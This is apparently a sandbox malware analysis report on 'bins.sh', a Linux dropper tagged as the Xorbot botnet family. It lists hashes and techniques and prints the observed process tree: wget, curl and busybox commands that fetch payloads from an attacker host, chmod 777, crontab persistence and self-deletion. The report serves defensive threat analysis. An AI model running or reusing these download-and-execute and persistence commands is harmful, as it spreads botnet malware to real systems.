Analysis
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max time kernel
149s -
max time network
150s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240729-en -
resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system -
submitted
21-02-2025 00:48
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240611-en
General
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Target
bins.sh
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Size
10KB
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MD5
f1646987343a60668d4b5b6a8261daf3
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SHA1
0d0e5d57b7a65644205c4d2deccb1b5c0b449cad
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SHA256
758212705619f4095ee19c6615fc0e047c935d53dbc8ded1063454a0f9145a67
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SHA512
5b2e4a195d7e3802dc787d76eeab47957d4e4d1a5b0aebac806218e55f3ef1bc63dbf197159f5d76d523d3deb0d655fc702eaf474ff85f9d505cb319005766e6
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SSDEEP
192:O7Mo7OOdCSxdqDDL/q3jvglcw2g8UOUOUpUAUsLvfalJ6e0vfalJKyUOUOUpUAUO:O7Mo7OOdCSxdqDDL/qhg9vfalJ6e0vfX
Malware Config
Signatures
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resource yara_rule behavioral1/files/fstream-1.dat family_xorbot -
Xorbot family
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1534 chmod -
Executes dropped EXE 1 IoCs
ioc pid Process /tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S 1535 bins.sh -
Renames itself 1 IoCs
pid Process 1536 bins.sh -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/tmp.H1K2iY crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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description ioc Process File opened for reading /proc/29/cmdline bins.sh File opened for reading /proc/178/cmdline bins.sh File opened for reading /proc/321/cmdline bins.sh File opened for reading /proc/1134/cmdline bins.sh File opened for reading /proc/1528/cmdline bins.sh File opened for reading /proc/161/cmdline bins.sh File opened for reading /proc/1084/cmdline bins.sh File opened for reading /proc/1160/cmdline bins.sh File opened for reading /proc/1201/cmdline bins.sh File opened for reading /proc/1523/cmdline bins.sh File opened for reading /proc/81/cmdline bins.sh File opened for reading /proc/1495/cmdline bins.sh File opened for reading /proc/1/cmdline bins.sh File opened for reading /proc/24/cmdline bins.sh File opened for reading /proc/83/cmdline bins.sh File opened for reading /proc/1519/cmdline bins.sh File opened for reading /proc/1544/cmdline bins.sh File opened for reading /proc/452/cmdline bins.sh File opened for reading /proc/666/cmdline bins.sh File opened for reading /proc/719/cmdline bins.sh File opened for reading /proc/1025/cmdline bins.sh File opened for reading /proc/9/cmdline bins.sh File opened for reading /proc/34/cmdline bins.sh File opened for reading /proc/35/cmdline bins.sh File opened for reading /proc/170/cmdline bins.sh File opened for reading /proc/455/cmdline bins.sh File opened for reading /proc/618/cmdline bins.sh File opened for reading /proc/691/cmdline bins.sh File opened for reading /proc/15/cmdline bins.sh File opened for reading /proc/167/cmdline bins.sh File opened for reading /proc/667/cmdline bins.sh File opened for reading /proc/1097/cmdline bins.sh File opened for reading /proc/1146/cmdline bins.sh File opened for reading /proc/1179/cmdline bins.sh File opened for reading /proc/1188/cmdline bins.sh File opened for reading /proc/1258/cmdline bins.sh File opened for reading /proc/17/cmdline bins.sh File opened for reading /proc/82/cmdline bins.sh File opened for reading /proc/165/cmdline bins.sh File opened for reading /proc/269/cmdline bins.sh File opened for reading /proc/982/cmdline bins.sh File opened for reading /proc/1209/cmdline bins.sh File opened for reading /proc/1286/cmdline bins.sh File opened for reading /proc/30/cmdline bins.sh File opened for reading /proc/619/cmdline bins.sh File opened for reading /proc/1525/cmdline bins.sh File opened for reading /proc/6/cmdline bins.sh File opened for reading /proc/163/cmdline bins.sh File opened for reading /proc/14/cmdline bins.sh File opened for reading /proc/31/cmdline bins.sh File opened for reading /proc/489/cmdline bins.sh File opened for reading /proc/1101/cmdline bins.sh File opened for reading /proc/1199/cmdline bins.sh File opened for reading /proc/26/cmdline bins.sh File opened for reading /proc/414/cmdline bins.sh File opened for reading /proc/534/cmdline bins.sh File opened for reading /proc/976/cmdline bins.sh File opened for reading /proc/1315/cmdline bins.sh File opened for reading /proc/2/cmdline bins.sh File opened for reading /proc/22/cmdline bins.sh File opened for reading /proc/79/cmdline bins.sh File opened for reading /proc/1087/cmdline bins.sh File opened for reading /proc/21/cmdline bins.sh File opened for reading /proc/173/cmdline bins.sh -
System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 1531 curl 1533 busybox 1545 wget 1527 wget -
Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S wget File opened for modification /tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S curl File opened for modification /tmp/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:1525 -
/bin/rm/bin/rm bins.sh2⤵PID:1526
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1527
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1531
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:1533
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/bin/chmodchmod 777 AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S2⤵
- File and Directory Permissions Modification
PID:1534
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/usr/bin/crontabcrontab -l2⤵PID:1538
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/usr/bin/crontabcrontab -2⤵
- Creates/modifies Cron job
PID:1540
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/bin/rmrm AuAK8yVgHOMyL3LUiivVx29wUZBQtFNX8S2⤵PID:1542
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/AXepYaBrigv82ddzIGqhm0vwPJiJggPC1O2⤵
- System Network Configuration Discovery
PID:1545
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
98KB
MD55141342d0df8699fa32a6b066a0c592e
SHA18157673225bd5182f16215e2aa823a25ca2d4fbc
SHA25654302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d
SHA512d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801
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Filesize
210B
MD527ba6d71fcc89b937ee8fb3c0b7f6f95
SHA143c40c2ed9e42b1f1583b9b17a8ab613d52bf41d
SHA256c921a1dd1b5237c4e0d7124038057fd5ec135448cf45ef805f049064ccc3994b
SHA512059104b890456ad9a264a6d4a73798940df7c3b2b142d035d3bbf14a3df3d14bc7463649444e6353307bbb53035e28dffc7998c9911a63ecb4fd5527927014d4